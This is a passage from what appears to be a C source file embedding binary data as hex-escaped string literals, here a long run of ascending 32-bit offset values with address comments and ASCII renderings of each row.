002F20 */   \"\\x25\\x76\\x00\\x00\\x37\\x76\\x00\\x00\\x4B\\x76\\x00\\x00\\x61\\x76\\x00\\x00\"   //%v..7v..Kv..av..\n/* 002F40 */   \"\\x77\\x76\\x00\\x00\\x8E\\x76\\x00\\x00\\xAC\\x76\\x00\\x00\\xBF\\x76\\x00\\x00\"   //wv...v...v...v..\n/* 002F60 */   \"\\xD1\\x76\\x00\\x00\\xED\\x76\\x00\\x00\\xFF\\x76\\x00\\x00\\x1A\\x77\\x00\\x00\"   //Ñv..ív..ÿv...w..\n/* 002F80 */   \"\\x30\\x77\\x00\\x00\\x3C\\x77\\x00\\x00\\x4C\\x77\\x00\\x00\\x57\\x77\\x00\\x00\"   //0w..<w..Lw..Ww..\n/* 002FA0 */   \"\\x6A\\x77\\x00\\x00\\x7A\\x77\\x00\\x00\\x84\\x77\\x00\\x00\\x95\\x77\\x00\\x00\"   //jw..zw...w...w..\n/* 002FC0 */   \"\\xA2\\x77\\x00\\x00\\xB9\\x77\\x00\\x00\\xC7\\x77\\x00\\x00\\xDA\\x77\\x00\\x00\"   //.w...w..Çw..Úw..\n/* 002FE0 */   \"\\xEF\\x77\\x00\\x00\\xFD\\x77\\x00\\x00\\x0D\\x78\\x00\\x00\\x26\\x78\\x00\\x00\"   //ïw..ýw...x..&x..\n/* 003000 */   \"\\x33\\x78\\x00\\x00\\x45\\x78\\x00\\x00\\x59\\x78\\x00\\x00\\x65\\x78\\x00\\x00\"   //3x..Ex..Yx..ex..\n/* 003020 */   \"\\x77\\x78\\x00\\x00\\x8A\\x78\\x00\\x00\\x9B\\x78\\x00\\x00\\xB7\\x78\\x00\\x00\"   //wx...x...x...x..\n/* 003040 */   \"\\xD5\\x78\\x00\\x00\\xEC\\x78\\x00\\x00\\xF9\\x78\\x00\\x00\\x0F\\x79\\x00\\x00\"   //Õx..ìx..ùx...y..\n/* 003060 */   \"\\x25\\x79\\x00\\x00\\x38\\x79\\x00\\x00\\x50\\x79\\x00\\x00\\x65\\x79\\x00\\x00\"   //%y..8y..Py..ey..\n/* 003080 */   \"\\x7E\\x79\\x00\\x00\\x93\\x79\\x00\\x00\\xAA\\x79\\x00\\x00\\xB8\\x79\\x00\\x00\"   //~y...y...y...y..\n/* 0030A0 */   \"\\xC5\\x79\\x00\\x00\\xDF\\x79\\x00\\x00\\xF6\\x79\\x00\\x00\\x0D\\x7A\\x00\\x00\"   //Åy..ßy..öy...z..\n/* 0030C0 */   \"\\x29\\x7A\\x00\\x00\\x40\\x7A\\x00\\x00\\x5A\\x7A\\x00\\x00\\x73\\x7A\\x00\\x00\"   //)z..@z..Zz..sz..\n/* 0030E0 */   \"\\x8B\\x7A\\x00\\x00\\xA4\\x7A\\x00\\x00\\xBB\\x7A\\x00\\x00\\xCF\\x7A\\x00\\x00\"   //.z...z...z..Ïz..\n/* 003100 */   \"\\xDA\\x7A\\x00\\x00\\xF2\\x7A\\x00\\x00\\x00\\x7B\\x00\\x00\\x0E\\x7B\\x00\\x00\"   //Úz..òz...{...{..\n/* 003120 */   \"\\x21\\x7B\\x00\\x00\\x3B\\x7B\\x00\\x00\\x59\\x7B\\x00\\x00\\x75\\x7B\\x00\\x00\"   //!{..;{..Y{..u{..\n/* 003140 */   \"\\x84\\x7B\\x00\\x00\\x9A\\x7B\\x00\\x00\\xAB\\x7B\\x00\\x00\\xC5\\x7B\\x00\\x00\"   //.{...{...{..Å{..\n/* 003160 */   \"\\xE3\\x7B\\x00\\x00\\x03\\x7C\\x00\\x00\\x1C\\x7C\\x00\\x00\\x2E\\x7C\\x00\\x00\"   //ã{...|...|...|..\n/* 003180 */   \"\\x3B\\x7C\\x00\\x00\\x52\\x7C\\x00\\x00\\x62\\x7C\\x00\\x00\\x77\\x7C\\x00\\x00\"   //;|..R|..b|..w|..\n/* 0031A0 */   \"\\x94\\x7C\\x00\\x00\\xA5\\x7C\\x00\\x00\\xB6\\x7C\\x00\\x00\\xC7\\x7C\\x00\\x00\"   //.|...|...|..Ç|..\n/* 0031C0 */   \"\\xD2\\x7C\\x00\\x00\\xE4\\x7C\\x00\\x00\\xF6\\x7C\\x00\\x00\\x0A\\x7D\\x00\\x00\"   //Ò|..ä|..ö|...}..\n/* 0031E0 */   \"\\x28\\x7D\\x00\\x00\\x3C\\x7D\\x00\\x00\\x4C\\x7D\\x00\\x00\\x5F\\x7D\\x00\\x00\"   //(}..<}..L}.._}..\n/* 003200 */   \"\\x74\\x7D\\x00\\x00\\x89\\x7D\\x00\\x00\\x95\\x7D\\x00\\x00\\xA2\\x7D\\x00\\x00\"   //t}...}...}...}..\n/* 003220 */   \"\\xAE\\x7D\\x00\\x00\\xC5\\x7D\\x00\\x00\\xDE\\x7D\\x00\\x00\\xF3\\x7D\\x00\\x00\"   //.}..Å}..Þ}..ó}..\n/* 003240 */   \"\\x09\\x7E\\x00\\x00\\x17\\x7E\\x00\\x00\\x2E\\x7E\\x00\\x00\\x45\\x7E\\x00\\x00\"   //.~...~...~..E~..\n/* 003260 */   \"\\x52\\x7E\\x00\\x00\\x64\\x7E\\x00\\x00\\x71\\x7E\\x00\\x00\\x81\\x7E\\x00\\x00\"   //R~..d~..q~...~..\n/* 003280 */   \"\\x90\\x7E\\x00\\x00\\x9A\\x7E\\x00\\x00\\xA6\\x7E\\x00\\x00\\xB7\\x7E\\x00\\x00\"   //.~...~...~...~..\n/* 0032A0 */   \"\\xCB\\x7E\\x00\\x00\\xDF\\x7E\\x00\\x00\\xF0\\x7E\\x00\\x00\\x03\\x7F\\x00\\x00\"   //Ë~..ß~..ð~......\n/* 0032C0 */   \"\\x19\\x7F\\x00\\x00\\x33\\x7F\\x00\\x00\\x46\\x7F\\x00\\x00\\x5D\\x7F\\x00\\x00\"   //....3...F...]...\n/* 0032E0 */   \"\\x69\\x7F\\x00\\x00\\x74\\x7F\\x00\\x00\\x8C\\x7F\\x00\\x00\\x9F\\x7F\\x00\\x00\"   //i...t...........\n/* 003300 */   \"\\xB9\\x7F\\x00\\x00\\xD5\\x7F\\x00\\x00\\xEA\\x7F\\x00\\x00\\x04\\x80\\x00\\x00\"   //....Õ...ê.......\n/* 003320 */   \"\\x18\\x80\\x00\\x00\\x2F\\x80\\x00\\x00\\x47\\x80\\x00\\x00\\x5E\\x80\\x00\\x00\"   //..../...G...^...\n/* 003340 */   \"\\x74\\x80\\x00\\x00\\x89\\x80\\x00\\x00\\x9B\\x80\\x00\\x00\\xAB\\x80\\x00\\x00\"   //t...............\n/* 003360 */   \"\\xBD\\x80\\x00\\x00\\xD7\\x80\\x00\\x00\\xF1\\x80\\x00\\x00\\x05\\x81\\x00\\x00\"   //....×...ñ.......\n/* 003380 */   \"\\x21\\x81\\x00\\x00\\x3F\\x81\\x00\\x00\\x56\\x81\\x00\\x00\\x6C\\x81\\x00\\x00\"   //!...?...V...l...\n/* 0033A0 */   \"\\x7C\\x81\\x00\\x00\\x96\\x81\\x00\\x00\\xA1\\x81\\x00\\x00\\xB6\\x81\\x00\\x00\"   //|...............\n/* 0033C0 */   \"\\xC4\\x81\\x00\\x00\\xD2\\x81\\x00\\x00\\xED\\x81\\x00\\x00\\xFE\\x81\\x00\\x00\"   //Ä...Ò...í...þ...\n/* 0033E0 */   \"\\x1D\\x82\\x00\\x00\\x2C\\x82\\x00\\x00\\x3A\\x82\\x00\\x00\\x4B\\x82\\x00\\x00\"   //....,...:...K...\n/* 003400 */   \"\\x5B\\x82\\x00\\x00\\x70\\x82\\x00\\x00\\x85\\x82\\x00\\x00\\x98\\x82\\x00\\x00\"   //[...p...........\n/* 003420 */   \"\\xAA\\x82\\x00\\x00\\xB6\\x82\\x00\\x00\\xC3\\x82\\x00\\x00\\xD7\\x82\\x00\\x00\"   //........Ã...×...\n/* 003440 */   \"\\xE6\\x82\\x00\\x00\\xF2\\x82\\x00\\x00\\x00\\x83\\x00\\x00\\x0D\\x83\\x00\\x00\"   //æ...ò...........\n/* 003460 */   \"\\x23\\x83\\x00\\x00\\x38\\x83\\x00\\x00\\x45\\x83\\x00\\x00\\x59\\x83\\x00\\x00\"   //#...8...E...Y...\n/* 003480 */   \"\\x6D\\x83\\x00\\x00\\x86\\x83\\x00\\x00\\x9C\\x83\\x00\\x00\\xB0\\x83\\x00\\x00\"   //m...............\n/* 0034A0 */   \"\\xC3\\x83\\x00\\x00\\xCF\\x83\\x00\\x00\\xE1\\x83\\x00\\x00\\xF4\\x83\\x00\\x00\"   //Ã...Ï...á...ô...\n/* 0034C0 */   \"\\x09\\x84\\x00\\x00\\x1A\\x84\\x00\\x00\\x28\\x84\\x00\\x00\\x36\\x84\\x00\\x00\"   //........(...6...\n/* 0034E0 */   \"\\x46\\x84\\x00\\x00\\x56\\x84\\x00\\x00\\x6E\\x84\\x00\\x00\\x7C\\x84\\x00\\x00\"   //F...V...n...|...\n/* 003500 */   \"\\x98\\x84\\x00\\x00\\xAA\\x84\\x00\\x00\\xC6\\x84\\x00\\x00\\xDF\\x84\\x00\\x00\"   //........Æ...ß...\n/* 003520 */   \"\\xFC\\x84\\x00\\x00\\x1B\\x85\\x00\\x00\\x42\\x85\\x00\\x00\\x59\\x85\\x00\\x00\"   //ü.......B...Y...\n/* 003540 */   \"\\x72\\x85\\x00\\x00\\x8F\\x85\\x00\\x00\\xA5\\x85\\x00\\x00\\xBD\\x85\\x00\\x00\"   //r...............\n/* 003560 */   \"\\xD9\\x85\\x00\\x00\\xE3\\x85\\x00\\x00\\xF7\\x85\\x00\\x00\\x0D\\x86\\x00\\x00\"   //Ù...ã...÷.......\n/* 003580 */   \"\\x2A\\x86\\x00\\x00\\x3F\\x86\\x00\\x00\\x56\\x86\\x00\\x00\\x71\\x86\\x00\\x00\"   //*...?...V...q...\n/* 0035A0 */   \"\\x83\\x86\\x00\\x00\\x8F\\x86\\x00\\x00\\xAA\\x86\\x00\\x00\\xC0\\x86\\x00\\x00\"   //............À...\n/* 0035C0 */   \"\\xDF\\x86\\x00\\x00\\xF8\\x86\\x00\\x00\\x0B\\x87\\x00\\x00\\x27\\x87\\x00\\x00\"   //ß...ø.......'...\n/* 0035E0 */   \"\\x39\\x87\\x00\\x00\\x49\\x87\\x00\\x00\\x62\\x87\\x00\\x00\\x7D\\x87\\x00\\x00\"   //9...I...b...}...\n/* 003600 */   \"\\x9A\\x87\\x00\\x00\\xB2\\x87\\x00\\x00\\xC7\\x87\\x00\\x00\\xDF\\x87\\x00\\x00\"   //........Ç...ß...\n/* 003620 */   \"\\xFE\\x87\\x00\\x00\\x17\\x88\\x00\\x00\\x32\\x88\\x00\\x00\\x40\\x88\\x00\\x00\"   //þ.......2...@...\n/* 003640 */   \"\\x55\\x88\\x00\\x00\\x6E\\x88\\x00\\x00\\x87\\x88\\x00\\x00\\x97\\x88\\x00\\x00\"   //U...n...........\n/* 003660 */   \"\\xA5\\x88\\x00\\x00\\xAF\\x88\\x00\\x00\\xBA\\x88\\x00\\x00\\xC9\\x88\\x00\\x00\"   //............É...\n/* 003680 */   \"\\xDB\\x88\\x00\\x00\\xF4\\x88\\x00\\x00\\x0B\\x89\\x00\\x00\\x1C\\x89\\x00\\x00\"   //Û...ô...........\n/* 0036A0 */   \"\\x40\\x89\\x00\\x00\\x5A\\x89\\x00\\x00\\x6E\\x89\\x00\\x00\\x7E\\x89\\x00\\x00\"   //@...Z...n...~...\n/* 0036C0 */   \"\\x8B\\x89\\x00\\x00\\xA0\\x89\\x00\\x00\\xB6\\x89\\x00\\x00\\xC5\\x89\\x00\\x00\"   //............Å...\n/* 0036E0 */   \"\\xD6\\x89\\x00\\x00\\xEC\\x89\\x00\\x00\\xFD\\x89\\x00\\x00\\x15\\x8A\\x00\\x00\"   //Ö...ì...ý.......\n/* 003700 */   \"\\x27\\x8A\\x00\\x00\\x37\\x8A\\x00\\x00\\x51\\x8A\\x00\\x00\\x6F\\x8A\\x00\\x00\"   //'...7...Q...o...\n/* 003720 */   \"\\x8D\\x8A\\x00\\x00\\xA9\\x8A\\x00\\x00\\xC6\\x8A\\x00\\x00\\xE2\\x8A\\x00\\x00\"   //........Æ...â...\n/* 003740 */   \"\\xFE\\x8A\\x00\\x00\\x1B\\x8B\\x00\\x00\\x41\\x8B\\x00\\x00\\x5B\\x8B\\x00\\x00\"   //þ.......A...[...\n/* 003760 */   \"\\x79\\x8B\\x00\\x00\\x95\\x8B\\x00\\x00\\xA1\\x8B\\x00\\x00\\xBF\\x8B\\x00\\x00\"   //y...............\n/* 003780 */   \"\\xD5\\x8B\\x00\\x00\\xF7\\x8B\\x00\\x00\\x08\\x8C\\x00\\x00\\x22\\x8C\\x00\\x00\"   //Õ...÷.......\"...\n/* 0037A0 */   \"\\x2D\\x8C\\x00\\x00\\x4A\\x8C\\x00\\x00\\x58\\x8C\\x00\\x00\\x6D\\x8C\\x00\\x00\"   //-...J...X...m...\n/* 0037C0 */   \"\\x7A\\x8C\\x00\\x00\\x95\\x8C\\x00\\x00\\xA7\\x8C\\x00\\x00\\xBA\\x8C\\x00\\x00\"   //z...............\n/* 0037E0 */   \"\\xD6\\x8C\\x00\\x00\\xEB\\x8C\\x00\\x00\\xF9\\x8C\\x00\\x00\\x14\\x8D\\x00\\x00\"   //Ö...ë...ù.......\n/* 003800 */   \"\\x2E\\x8D\\x00\\x00\\x43\\x8D\\x00\\x00\\x5F\\x8D\\x00\\x00\\x73\\x8D\\x00\\x00\"   //....C..._...s...\n/* 003820 */   \"\\x9A\\x8D\\x00\\x00\\xAB\\x8D\\x00\\x00\\xBA\\x8D\\x00\\x00\\xCE\\x8D\\x00\\x00\"   //............Î...\n/* 003840 */   \"\\xE5\\x8D\\x00\\x00\\x06\\x8E\\x00\\x00\\x1B\\x8E\\x00\\x00\\x37\\x8E\\x00\\x00\"   //å...........7...\n/* 003860 */   \"\\x4B\\x8E\\x00\\x00\\x61\\x8E\\x00\\x00\\x7C\\x8E\\x00\\x00\\x98\\x8E\\x00\\x00\"   //K...a...|.......\n/* 003880 */   \"\\xB7\\x8E\\x00\\x00\\xE0\\x8E\\x00\\x00\\xF3\\x8E\\x00\\x00\\x04\\x8F\\x00\\x00\"   //....à...ó.......\n/* 0038A0 */   \"\\x1B\\x8F\\x00\\x00\\x2F\\x8F\\x00\\x00\\x45\\x8F\\x00\\x00\\x55\\x8F\\x00\\x00\"   //..../...E...U...\n/* 0038C0 */   \"\\x5F\\x8F\\x00\\x00\\x6C\\x8F\\x00\\x00\\x87\\x8F\\x00\\x00\\xA0\\x8F\\x00\\x00\"   //_...l...........\n/* 0038E0 */   \"\\xBD\\x8F\\x00\\x00\\xDD\\x8F\\x00\\x00\\xEE\\x8F\\x00\\x00\\x04\\x90\\x00\\x00\"   //....Ý...î.......\n/* 003900 */   \"\\x13\\x90\\x00\\x00\\x2A\\x90\\x00\\x00\\x3C\\x90\\x00\\x00\\x54\\x90\\x00\\x00\"   //....*...<...T...\n/* 003920 */   \"\\x63\\x90\\x00\\x00\\x77\\x90\\x00\\x00\\x8D\\x90\\x00\\x00\\x9F\\x90\\x00\\x00\"   //c...w...........\n/* 003940 */   \"\\xB3\\x90\\x00\\x00\\xC7\\x90\\x00\\x00\\xDD\\x90\\x00\\x00\\xF3\\x90\\x00\\x00\"   //....Ç...Ý...ó...\n/* 003960 */   \"\\x02\\x91\\x00\\x00\\x1E\\x91\\x00\\x00\\x39\\x91\\x00\\x00\\x57\\x91\\x00\\x00\"   //........9...W...\n/* 003980 */   \"\\x70\\x91\\x00\\x00\\x8D\\x91\\x00\\x00\\xA1\\x91\\x00\\x00\\xCA\\x91\\x00\\x00\"   //p...........Ê...\n/* 0039A0 */   \"\\xE7\\x91\\x00\\x00\\xFA\\x91\\x00\\x00\\x10\\x92\\x00\\x00\\x27\\x92\\x00\\x00\"   //ç...ú.......'...\n/* 0039C0 */   \"\\x40\\x92\\x00\\x00\\x50\\x92\\x00\\x00\\x6A\\x92\\x00\\x00\\x7C\\x92\\x00\\x00\"   //@...P...j...|...\n/* 0039E0 */   \"\\xA7\\x92\\x00\\x00\\xB8\\x92\\x00\\x00\\xCF\\x92\\x00\\x00\\xEA\\x92\\x00\\x00\"   //........Ï...ê...\n/* 003A00 */   \"\\x04\\x93\\x00\\x00\\x20\\x93\\x00\\x00\\x38\\x93\\x00\\x00\\x4C\\x93\\x00\\x00\"   //........8...L...\n/* 003A20 */   \"\\x65\\x93\\x00\\x00\\x81\\x93\\x00\\x00\\xA8\\x93\\x00\\x00\\xD0\\x93\\x00\\x00\"   //e...........Ð...\n/* 003A40 */   \"\\xFB\\x93\\x00\\x00\\x10\\x94\\x00\\x00\\x23\\x94\\x00\\x00\\x30\\x94\\x00\\x00\"   //û.......#...0...\n/* 003A60 */   \"\\x42\\x94\\x00\\x00\\x4E\\x94\\x00\\x00\\x5D\\x94\\x00\\x00\\x73\\x94\\x00\\x00\"   //B...N...]...s...\n/* 003A80 */   \"\\x89\\x94\\x00\\x00\\x9B\\x94\\x00\\x00\\xB9\\x94\\x00\\x00\\xC7\\x94\\x00\\x00\"   //............Ç...\n/* 003AA0 */   \"\\xE2\\x94\\x00\\x00\\x00\\x95\\x00\\x00\\x17\\x95\\x00\\x00\\x25\\x95\\x00\\x00\"   //â...........%...\n/* 003AC0 */   \"\\x38\\x95\\x00\\x00\\x60\\x95\\x00\\x00\\x84\\x95\\x00\\x00\\xAA\\x95\\x00\\x00\"   //8...`...........\n/* 003AE0 */   \"\\xC5\\x95\\x00\\x00\\xD6\\x95\\x00\\x00\\xED\\x95\\x00\\x00\\xFE\\x95\\x00\\x00\"   //Å...Ö...í...þ...\n/* 003B00 */   \"\\x1A\\x96\\x00\\x00\\x35\\x96\\x00\\x00\\x4C\\x96\\x00\\x00\\x5B\\x96\\x00\\x00\"   //....5...L...[...\n/* 003B20 */   \"\\x75\\x96\\x00\\x00\\x90\\x96\\x00\\x00\\x9D\\x96\\x00\\x00\\xAC\\x96\\x00\\x00\"   //u...............\n/* 003B40 */   \"\\xC3\\x96\\x00\\x00\\xD6\\x96\\x00\\x00\\xE6\\x96\\x00\\x00\\x00\\x97\\x00\\x00\"   //Ã...Ö...æ.......\n/* 003B60 */   \"\\x1C\\x97\\x00\\x00\\x2D\\x97\\x00\\x00\\x3F\\x97\\x00\\x00\\x4D\\x97\\x00\\x00\"   //....-...?...M...\n/* 003B80 */   \"\\x59\\x97\\x00\\x00\\x6A\\x97\\x00\\x00\\x7B\\x97\\x00\\x00\\x86\\x97\\x00\\x00\"   //Y...j...{.......\n/* 003BA0 */   \"\\xAA\\x97\\x00\\x00\\xBF\\x97\\x00\\x00\\xD6\\x97\\x00\\x00\\xE8\\x97\\x00\\x00\"   //........Ö...è...\n/* 003BC0 */   \"\\xFD\\x97\\x00\\x00\\x07\\x98\\x00\\x00\\x25\\x98\\x00\\x00\\x3A\\x98\\x00\\x00\"   //ý.......%...:...\n/* 003BE0 */   \"\\x59\\x98\\x00\\x00\\x79\\x98\\x00\\x00\\x92\\x98\\x00\\x00\\xA3\\x98\\x00\\x00\"   //Y...y...........\n/* 003C00 */   \"\\xC0\\x98\\x00\\x00\\xDA\\x98\\x00\\x00\\xF7\\x98\\x00\\x00\\x08\\x99\\x00\\x00\"   //À...Ú...÷.......\n/* 003C20 */   \"\\x14\\x99\\x00\\x00\\x29\\x99\\x00\\x00\\x47\\x99\\x00\\x00\\x5A\\x99\\x00\\x00\"   //....)...G...Z...\n/* 003C40 */   \"\\x6F\\x99\\x00\\x00\\x9D\\x99\\x00\\x00\\xC7\\x99\\x00\\x00\\xE1\\x99\\x00\\x00\"   //o.......Ç...á...\n/* 003C60 */   \"\\xFF\\x99\\x00\\x00\\x0F\\x9A\\x00\\x00\\x23\\x9A\\x00\\x00\\x37\\x9A\\x00\\x00\"   //ÿ.......#...7...\n/* 003C80 */   \"\\x4E\\x9A\\x00\\x00\\x6C\\x9A\\x00\\x00\\x7F\\x9A\\x00\\x00\\x9C\\x9A\\x00\\x00\"   //N...l...........\n/* 003CA0 */   \"\\xBE\\x9A\\x00\\x00\\xD6\\x9A\\x00\\x00\\xED\\x9A\\x00\\x00\\x00\\x9B\\x00\\x00\"   //....Ö...í.......\n/* 003CC0 */   \"\\x0E\\x9B\\x00\\x00\\x23\\x9B\\x00\\x00\\x3D\\x9B\\x00\\x00\\x5A\\x9B\\x00\\x00\"   //....#...=...Z...\n/* 003CE0 */   \"\\x6B\\x9B\\x00\\x00\\x80\\x9B\\x00\\x00\\x90\\x9B\\x00\\x00\\xA3\\x9B\\x00\\x00\"   //k...............\n/* 003D00 */   \"\\xB5\\x9B\\x00\\x00\\xCA\\x9B\\x00\\x00\\xDE\\x9B\\x00\\x00\\xEF\\x9B\\x00\\x00\"   //....Ê...Þ...ï...\n/* 003D20 */   \"\\x0F\\x9C\\x00\\x00\\x1D\\x9C\\x00\\x00\\x32\\x9C\\x00\\x00\\x49\\x9C\\x00\\x00\"   //........2...I...\n/* 003D40 */   \"\\x62\\x9C\\x00\\x00\\x76\\x9C\\x00\\x00\\x8B\\x9C\\x00\\x00\\xA8\\x9C\\x00\\x00\"   //b...v...........\n/* 003D60 */   \"\\xD1\\x9C\\x00\\x00\\xEB\\x9C\\x00\\x00\\x08\\x9D\\x00\\x00\\x21\\x9D\\x00\\x00\"   //Ñ...ë.......!...\n/* 003D80 */   \"\\x34\\x9D\\x00\\x00\\x4B\\x9D\\x00\\x00\\x61\\x9D\\x00\\x00\\x78\\x9D\\x00\\x00\"   //4...K...a...x...\n/* 003DA0 */   \"\\x89\\x9D\\x00\\x00\\xA9\\x9D\\x00\\x00\\xC6\\x9D\\x00\\x00\\xE6\\x9D\\x00\\x00\"   //........Æ...æ...\n/* 003DC0 */   \"\\xFE\\x9D\\x00\\x00\\x0F\\x9E\\x00\\x00\\x29\\x9E\\x00\\x00\\x42\\x9E\\x00\\x00\"   //þ.......)...B...\n/* 003DE0 */   \"\\x5E\\x9E\\x00\\x00\\x7B\\x9E\\x00\\x00\\x97\\x9E\\x00\\x00\\xAA\\x9E\\x00\\x00\"   //^...{...........\n/* 003E00 */   \"\\xC2\\x9E\\x00\\x00\\xDC\\x9E\\x00\\x00\\xF6\\x9E\\x00\\x00\\x0E\\x9F\\x00\\x00\"   //Â...Ü...ö.......\n/* 003E20 */   \"\\x26\\x9F\\x00\\x00\\x40\\x9F\\x00\\x00\\x5A\\x9F\\x00\\x00\\x72\\x9F\\x00\\x00\"   //&...@...Z...r...\n/* 003E40 */   \"\\x8A\\x9F\\x00\\x00\\xA4\\x9F\\x00\\x00\\xBE\\x9F\\x00\\x00\\xD6\\x9F\\x00\\x00\"   //............Ö...\n/* 003E60 */   \"\\xEE\\x9F\\x00\\x00\\x08\\xA0\\x00\\x00\\x22\\xA0\\x00\\x00\\x3A\\xA0\\x00\\x00\"   //î.......\"...:...\n/* 003E80 */   \"\\x57\\xA0\\x00\\x00\\x6C\\xA0\\x00\\x00\\x83\\xA0\\x00\\x00\\x9D\\xA0\\x00\\x00\"   //W...l...........\n/* 003EA0 */   \"\\xB4\\xA0\\x00\\x00\\xC8\\xA0\\x00\\x00\\xD9\\xA0\\x00\\x00\\xF8\\xA0\\x00\\x00\"   //....È...Ù...ø...\n/* 003EC0 */   \"\\x09\\xA1\\x00\\x00\\x1F\\xA1\\x00\\x00\\x32\\xA1\\x00\\x00\\x51\\xA1\\x00\\x00\"   //........2...Q...\n/* 003EE0 */   \"\\x67\\xA1\\x00\\x00\\x7D\\xA1\\x00\\x00\\x96\\xA1\\x00\\x00\\xB0\\xA1\\x00\\x00\"   //g...}...........\n/* 003F00 */   \"\\xC8\\xA1\\x00\\x00\\xDE\\xA1\\x00\\x00\\xF6\\xA1\\x00\\x00\\x0B\\xA2\\x00\\x00\"   //È...Þ...ö.......\n/* 003F20 */   \"\\x27\\xA2\\x00\\x00\\x34\\xA2\\x00\\x00\\x4D\\xA2\\x00\\x00\\x63\\xA2\\x00\\x00\"   //'...4...M...c...\n/* 003F40 */   \"\\x6F\\xA2\\x00\\x00\\x89\\xA2\\x00\\x00\\x9E\\xA2\\x00\\x00\\xB7\\xA2\\x00\\x00\"   //o...............\n/* 003F60 */   \"\\xD4\\xA2\\x00\\x00\\xF4\\xA2\\x00\\x00\\x0A\\xA3\\x00\\x00\\x1C\\xA3\\x00\\x00\"   //Ô...ô...........\n/* 003F80 */   \"\\x3A\\xA3\\x00\\x00\\x4D\\xA3\\x00\\x00\\x5B\\xA3\\x00\\x00\\x7D\\xA3\\x00\\x00\"   //:...M...[...}...\n/* 003FA0 */   \"\\x94\\xA3\\x00\\x00\\xAE\\xA3\\x00\\x00\\xCB\\xA3\\x00\\x00\\xE7\\xA3\\x00\\x00\"   //........Ë...ç...\n/* 003FC0 */   \"\\xFC\\xA3\\x00\\x00\\x13\\xA4\\x00\\x00\\x3F\\xA4\\x00\\x00\\x59\\xA4\\x00\\x00\"   //ü.......?...Y...\n/* 003FE0 */   \"\\x74\\xA4\\x00\\x00\\x8A\\xA4\\x00\\x00\\xA5\\xA4\\x00\\x00\\xC3\\xA4\\x00\\x00\"   //t...........Ã...\n/* 004000 */   \"\\xE4\\xA4\\x00\\x00\\xF9\\xA4\\x00\\x00\\x0C\\xA5\\x00\\x00\\x26\\xA5\\x00\\x00\"   //ä...ù.......&...\n/* 004020 */   \"\\x42\\xA5\\x00\\x00\\x53\\xA5\\x00\\x00\\x66\\xA5\\x00\\x00\\x78\\xA5\\x00\\x00\"   //B...S...f...x...\n/* 004040 */   \"\\x8E\\xA5\\x00\\x00\\x9A\\xA5\\x00\\x00\\xAA\\xA5\\x00\\x00\\xC1\\xA5\\x00\\x00\"   //............Á...\n/* 004060 */   \"\\xD0\\xA5\\x00\\x00\\xDD\\xA5\\x00\\x00\\xF5\\xA5\\x00\\x00\\x08\\xA6\\x00\\x00\"   //Ð...Ý...õ.......\n/* 004080 */   \"\\x26\\xA6\\x00\\x00\\x3E\\xA6\\x00\\x00\\x55\\xA6\\x00\\x00\\x7A\\xA6\\x00\\x00\"   //&...>...U...z...\n/* 0040A0 */   \"\\xA5\\xA6\\x00\\x00\\xC3\\xA6\\x00\\x00\\xE7\\xA6\\x00\\x00\\x07\\xA7\\x00\\x00\"   //....Ã...ç.......\n/* 0040C0 */   \"\\x26\\xA7\\x00\\x00\\x45\\xA7\\x00\\x00\\x5C\\xA7\\x00\\x00\\x73\\xA7\\x00\\x00\"   //&...E...\\...s...\n/* 0040E0 */   \"\\x83\\xA7\\x00\\x00\\x9F\\xA7\\x00\\x00\\xB6\\xA7\\x00\\x00\\xC7\\xA7\\x00\\x00\"   //............Ç...\n/* 004100 */   \"\\xD9\\xA7\\x00\\x00\\xE8\\xA7\\x00\\x00\\xF2\\xA7\\x00\\x00\\xFE\\xA7\\x00\\x00\"   //Ù...è...ò...þ...\n/* 004120 */   \"\\x10\\xA8\\x00\\x00\\x24\\xA8\\x00\\x00\\x44\\xA8\\x00\\x00\\x57\\xA8\\x00\\x00\"   //....$...D...W...\n/* 004140 */   \"\\x68\\xA8\\x00\\x00\\x8D\\xA8\\x00\\x00\\x9D\\xA8\\x00\\x00\\xB9\\xA8\\x00\\x00\"   //h...............\n/* 004160 */   \"\\xD0\\xA8\\x00\\x00\\xE2\\xA8\\x00\\x00\\xF5\\xA8\\x00\\x00\\x03\\xA9\\x00\\x00\"   //Ð...â...õ.......\n/* 004180 */   \"\\x25\\xA9\\x00\\x00\\x3D\\xA9\\x00\\x00\\x56\\xA9\\x00\\x00\\x6C\\xA9\\x00\\x00\"   //%...=...V...l...\n/* 0041A0 */   \"\\x86\\xA9\\x00\\x00\\xA0\\xA9\\x00\\x00\\xBA\\xA9\\x00\\x00\\xD4\\xA9\\x00\\x00\"   //............Ô...\n/* 0041C0 */   \"\\xE8\\xA9\\x00\\x00\\x04\\xAA\\x00\\x00\\x21\\xAA\\x00\\x00\\x2F\\xAA\\x00\\x00\"   //è.......!.../...\n/* 0041E0 */   \"\\x52\\xAA\\x00\\x00\\x5D\\xAA\\x00\\x00\\x7D\\xAA\\x00\\x00\\x9C\\xAA\\x00\\x00\"   //R...]...}.......\n/* 004200 */   \"\\xB5\\xAA\\x00\\x00\\xCE\\xAA\\x00\\x00\\xEB\\xAA\\x00\\x00\\x05\\xAB\\x00\\x00\"   //....Î...ë.......\n/* 004220 */   \"\\x23\\xAB\\x00\\x00\\x39\\xAB\\x00\\x00\\x4E\\xAB\\x00\\x00\\x69\\xAB\\x00\\x00\"   //#...9...N...i...\n/* 004240 */   \"\\x7E\\xAB\\x00\\x00\\xAA\\xAB\\x00\\x00\\xC1\\xAB\\x00\\x00\\xDF\\xAB\\x00\\x00\"   //~.......Á...ß...\n/* 004260 */   \"\\xF7\\xAB\\x00\\x00\\x14\\xAC\\x00\\x00\\x36\\xAC\\x00\\x00\\x4B\\xAC\\x00\\x00\"   //÷.......6...K...\n/* 004280 */   \"\\x62\\xAC\\x00\\x00\\x79\\xAC\\x00\\x00\\x93\\xAC\\x00\\x00\\xAD\\xAC\\x00\\x00\"   //b...y...........\n/* 0042A0 */   \"\\xB9\\xAC\\x00\\x00\\xCF\\xAC\\x00\\x00\\xE3\\xAC\\x00\\x00\\xF7\\xAC\\x00\\x00\"   //....Ï...ã...÷...\n/* 0042C0 */   \"\\x03\\xAD\\x00\\x00\\x0C\\xAD\\x00\\x00\\x1A\\xAD\\x00\\x00\\x2E\\xAD\\x00\\x00\"   //................\n/* 0042E0 */   \"\\x40\\xAD\\x00\\x00\\x58\\xAD\\x00\\x00\\x6B\\xAD\\x00\\x00\\x81\\xAD\\x00\\x00\"   //@...X...k.......\n/* 004300 */   \"\\x95\\xAD\\x00\\x00\\xAE\\xAD\\x00\\x00\\xC2\\xAD\\x00\\x00\\xDD\\xAD\\x00\\x00\"   